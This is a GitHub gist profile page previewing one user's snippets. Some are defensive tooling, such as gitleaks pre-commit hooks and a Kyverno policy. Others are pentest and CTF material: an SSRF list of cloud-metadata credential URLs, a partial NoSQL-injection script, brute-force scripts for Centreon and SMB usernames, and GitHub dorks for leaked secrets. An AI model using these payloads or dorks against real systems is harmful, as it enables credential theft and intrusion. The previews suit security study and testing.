Skip to content

Instantly share code, notes, and snippets.

View ankitsaini2609's full-sized avatar

d3afh3av3n ankitsaini2609

View GitHub Profile
@ankitsaini2609
ankitsaini2609 / AWS_lambda_layer.txt
Created August 28, 2024 10:20
Create Lambda layers for AWS
Make sure the python version you are using is the same as lambda runtime.
```
mkdir python
cd python
python3.11 -m venv .
chmod +x bin/activate
source bin/activate
pip3 install slack_sdk
deactivate
cd ../
@ankitsaini2609
ankitsaini2609 / Readme.md
Last active July 22, 2024 10:24
PrivateBin values.yml needed to deploy via Helm
@ankitsaini2609
ankitsaini2609 / global-pre-commit-hook-gitleaks-ankitsaini2609.sh
Last active August 7, 2024 14:07
This bash will set up pre-commit hook globally in your system using git-template and pre-commit hooks and will prevent committing the credentials accidentally. {I am using my modified version of Gitleaks}
#!/bin/bash
## V1.0.0
## pre-commit-hook.sh
## Authors: Ankit Saini
echo -e "
###### # ###
# # ##### ###### #### #### # # # # # ##### # # #### #### # # # # ## # #
# # # # # # # # # ## ## ## ## # # # # # # # # # # # # # # # #
###### # # ##### ##### # # # # ## # # ## # # # ###### # # # # #### # # # # #
@ankitsaini2609
ankitsaini2609 / cloud_metadata.txt
Created September 8, 2022 06:30 — forked from jhaddix/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
@ankitsaini2609
ankitsaini2609 / global-pre-commit-hook.sh
Last active October 25, 2021 13:39
This bash will set up pre-commit hook globally in your system using git-template and pre-commit hooks and will prevent committing the credentials accidentally.
#!/bin/bash
python3 -m pip install pre-commit
if [ `echo $?` -ne 0 ]; then
pip install pre-commit
fi
FILE=~/.config/git/hooks/pre-commit
if [ -f "$FILE" ]; then
string1="pre-commit run -c ~/.config/git/.pre-commit-config.yaml"
search=`grep "${string1}" ~/.config/git/hooks/pre-commit`
if [ "${search}" = "${string1}" ]; then
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: deny-public-elb-creation
spec:
validationFailureAction: enforce
background: false
rules:
- name: block-public-elb-service-creations
context:
@ankitsaini2609
ankitsaini2609 / No_SQL_injection_mongodb.py
Last active November 16, 2019 16:47
Use Case: Hackthebox (Machine: Mango), You can use it according to your needs.
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="" #enter the username
password=""
u="" # Enter the url here
headers={'content-type': 'application/x-www-form-urlencoded', 'Host': ''} # Enter the Host header here.
@ankitsaini2609
ankitsaini2609 / bruteforcing_centreon_v1904.py
Created September 15, 2019 18:38
To brute force centreon IT and Networking monitoring tool.
#!/usr/bin/python3
"""
Exploit Created by d3afh3av3n
"""
import requests
import sys
import argparse
import warnings
@ankitsaini2609
ankitsaini2609 / auto_git_query
Created September 1, 2019 16:36 — forked from nullenc0de/auto_git_query
Automated Github Queries (Can open 29 tabs at a time)
https://github.com/search?q=BROWSER_STACK_ACCESS_KEY= OR BROWSER_STACK_USERNAME= OR browserConnectionEnabled= OR BROWSERSTACK_ACCESS_KEY=&s=indexed&type=Code
https://github.com/search?q=CHROME_CLIENT_SECRET= OR CHROME_EXTENSION_ID= OR CHROME_REFRESH_TOKEN= OR CI_DEPLOY_PASSWORD= OR CI_DEPLOY_USER=&s=indexed&type=Code
https://github.com/search?q=CLOUDAMQP_URL= OR CLOUDANT_APPLIANCE_DATABASE= OR CLOUDANT_ARCHIVED_DATABASE= OR CLOUDANT_AUDITED_DATABASE=&s=indexed&type=Code
https://github.com/search?q=CLOUDANT_ORDER_DATABASE= OR CLOUDANT_PARSED_DATABASE= OR CLOUDANT_PASSWORD= OR CLOUDANT_PROCESSED_DATABASE=&s=indexed&type=Code
https://github.com/search?q=CONTENTFUL_PHP_MANAGEMENT_TEST_TOKEN= OR CONTENTFUL_TEST_ORG_CMA_TOKEN= OR CONTENTFUL_V2_ACCESS_TOKEN=&s=indexed&type=Code
https://github.com/search?q=-DSELION_BROWSER_RUN_HEADLESS= OR -DSELION_DOWNLOAD_DEPENDENCIES= OR -DSELION_SELENIUM_RUN_LOCALLY=&s=indexed&type=Code
https://github.com/search?q=ELASTICSEARCH_PASSWORD= OR ELASTICSEARCH_USERNAME= OR EMAIL_NOTIFI
@ankitsaini2609
ankitsaini2609 / smb_enum_impacket_lookupsid.py
Last active August 20, 2019 12:31
Assuming you have installed impacket and you have the password for the user but don't have the username, So to bruteforce the username you can use this script
#!/usr/bin/python
#https://github.com/jeanphorn/wordlist/blob/master/usernames.txt
from colorama import Fore
import subprocess
password=''
ip=''
f = open('usernames.txt','r')
data = f.read()
f.close()
data = data.split('\r\n')